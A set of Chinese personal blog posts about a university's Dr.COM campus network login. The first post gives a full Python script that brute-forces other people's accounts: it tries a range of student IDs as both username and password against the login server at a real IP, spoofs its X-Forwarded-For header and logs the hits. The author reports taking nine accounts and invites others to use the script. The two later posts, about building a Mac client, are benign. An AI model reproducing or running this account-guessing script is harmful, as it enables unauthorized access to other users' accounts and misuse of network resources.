python猜研究生账号

作者:dawncold 发布时间:April 4, 2012 分类:技术

嗯,为何要猜研究生账号呢?是这样的,我们学校用的drcom控制网络访问,如果你用本科生账号,那么你最快下载速度也就是100kb/s,如果是老师、研究生账号呢,最快7Mb/s,这是什么差距你应该明白吧?!于是写了一个python的脚本来不断猜测研究生账号,但很可惜的是,猜出来的9个账号经过测试都还是有限速效果,真不知道这些账号是不是研究生账号呢?!!!可恶的学校啊!!!


#! /usr/bin python
# encoding: utf-8

import urllib2
import urllib
import sys
import types

guess_list = []
server_url = "http://222.174.155.19/"
headers = {	'User-Agent'			:	'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',
						'X-Forwarded-For'	:	'1.1.1.1'}

def usage():
	print "USAGE 00: python guess.py FILEPATH of account list file,like: python guess.py ./lists.dat"
	print "USAGE 01: python guess.py START END like: python guess.py 2009123456 2009145396"

def Login(username, password):
	params = urllib.urlencode({'DDDDD': username, 'upass': password, '0MKKey': "%B5%C7%C2%BC%20Login"})
	request = urllib2.Request(url = server_url, data = params, headers = headers)
	try:
		output = urllib2.urlopen(request, timeout = 3).readlines()
		Log(output[5], username, password)
	except:
		print "timeout!"
		global guess_list
		guess_list = guess_list[1:]
		guess_list.append(username)

def Logout():
	output = urllib2.urlopen(server_url + "F.htm")

def Log(output,username, password):
	# "msga='error1'" => can not login in web
	result = output.find("msga='error1'")
	if result != -1:
		print "find one!!!"
		f = open("./content.dat", 'a')
		f.write(str(username) + '\n')
		f.close()
	else:
		print "pass!"
		f = open("./bad.dat",'a')
		f.write(str(username) + '\n')
		f.close()
	#drop first element	
	global guess_list
	guess_list = guess_list[1:]

def show_result():
	print "Result:##########################################"
	print "Have Guessed:"
	for i in open("./content.dat").readlines():
		print i,
	print "some accounts can not guessed are in bad.dat"
	print "Result:##########################################"

def get_timeout_list(timeout_file_path):
	f = open(timeout_file_path)
	global guess_list 
	guess_list = f.readlines()
	f.close()

if len(sys.argv) == 2:
	# itself and only one argv,the path of account list file...
	get_timeout_list(sys.argv[1])
elif(len(sys.argv) < 2):
	usage()
else:
	#start and end account,argv[1] and argv[2]
	start = int(sys.argv[1])
	end = int(sys.argv[2])
	if start > end:
		usage()
		exit(-1)
	else:
		guess_list = range(start, end + 1)

if __name__ == "__main__":
			
	while True:
		for i in guess_list:
			#drop last \n or \r
			if type(i) == types.StringType:
				i = i.rstrip('\n\r')
			Logout()
			print "Guess: " + str(i)
			Login(i, i)
		
		if len(guess_list) == 0:
			break
	show_result()

主要就是用了drcom的网页登陆,当然大部分账号都是不能web登陆的啦,不过账号密码正确的话会弹出来一个提示,drcom是使用的js来显示的,于是我监测了是不是有“msga='error1'”字符串,当然严格来讲还得监测是不是有"Msg=0"这个字符串才好,我就省略了……

希望被drcom困扰的人们都能拿去用用,希望对你们有帮助!

终于回到自由的时候

作者:dawncold 发布时间:December 16, 2011 分类:技术

自从前段时间学校封杀了研究生web端自由登陆drcom以来,我就只能找网络中心的老师开了本科生的web登陆,速度很慢,还有流量限制。

又加上Lion系统中的原drcom客户端不能用,我就攒了攒勇气下载了drcom4mac的源代码回来自己编译,本以为就是平台的微弱差异,没想到一大堆根本看不懂的错误出现,也没那么平静的心来阅读一个个C函数,就这样搁置了。

昨晚Drcom的GoogleGroups中有人发来邮件,说是写了个java的drcom客户端欢迎测试,我今天早晨配置好了libpcap库和jpcap库,然后使用了这个客户端,打开GUI后输入账号密码,登陆没反应。于是告诉了作者,中午收到作者来信,说暂时还只能用命令行方式,这我当然能够接受,可惜在Mac的terminal中显示的中文提示都是乱码,于是svn到了原代码到eclipse中看看吧,按照提示组合了命令行,成功登陆了!

从此又自由了。

项目地址:http://code.google.com/p/jdrcom/

又回到了drcom上

作者:dawncold 发布时间:November 19, 2011 分类:技术

如果在mac系统下没有可用的drcom客户端真是很难受的一件事情,虽然现在有了web登陆的账号,但还是有限制的——流量总数、速度,特别是速度限制,真是拿生锈的刀杀人的感觉。

曾经两次打开了xcode来调试drcom4mac的源代码,但每次都感觉怎么这么复杂,我怎么能看得懂?里面的drcom库是用C写的,我个人一直对于C语言有好感,但就是不想接触。现在高级语言有的是,虽说从学术划分上来讲C也算是高级语言,但从语言上比较,C算是很底层的了。就这样拖延着,我想还是动力不够,如果有什么强大动力支持着我来做这个,可能会更好。

再来一次吧,现在同时也在学着python,前段时间面试豆瓣的时候被问到是不是C的代码写得少,我只能正确回答是的,最终也没面试上,许是和这个有关,既然如此也算是给自己找了个理由——为了未来,还有广大生活在drcom阴影下的使用mac系统的人们。

我来了!